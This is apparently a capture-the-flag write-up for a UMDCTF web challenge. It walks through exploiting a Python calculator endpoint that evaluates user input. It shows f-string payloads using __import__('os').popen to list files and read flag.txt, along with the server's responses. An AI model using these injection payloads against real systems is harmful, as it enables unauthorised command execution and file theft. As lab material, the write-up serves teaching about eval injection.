# Advantageous Adventures 1
The site presents several different calculators where you can put in two inputs and receive a result:
![calc](images/calc.png)
Trying it out:
```httpPOST /mult HTTP/1.1
val1=4&val2=4```
```httpHTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 2Server: Werkzeug/0.16.1 Python/3.8.5Date: Mon, 19 Apr 2021 12:58:58 GMT
16```
Ok, as expected we see our multiplication result. We can also make a note that the server is running Python.
Multiplication is also defined with strings in Python. Let's see if the server will process a string input:
```httpPOST /mult HTTP/1.1
val1="HelloWorld"&val2=4```
```httpHTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 40Server: Werkzeug/0.16.1 Python/3.8.5Date: Mon, 19 Apr 2021 13:07:22 GMT
HelloWorldHelloWorldHelloWorldHelloWorld```
We can try using a format string with some python code embedded to achieve remote code execution and view the filesystem:
```httpPOST /mult HTTP/1.1
val1=f"{__builtins__['__import__']('os').__dict__['popen']('ls').read()}"&val2=1```
```httpHTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 95Server: Werkzeug/0.16.1 Python/3.8.5Date: Mon, 19 Apr 2021 13:10:54 GMT
DockerfileREADME.md__pycache__app.pyflag.txtsecret_infosecret_script.pystatictemplates```
Finally, we can `cat` the flag:
```httpPOST /mult HTTP/1.1
val1=f"{__builtins__['__import__']('os').__dict__['popen']('cat+flag.txt').read()}"&val2=1```
```httpHTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 22Server: Werkzeug/0.16.1 Python/3.8.5Date: Mon, 19 Apr 2021 13:18:12 GMT
UMDCTF-{pl3z_n0_3v4l}```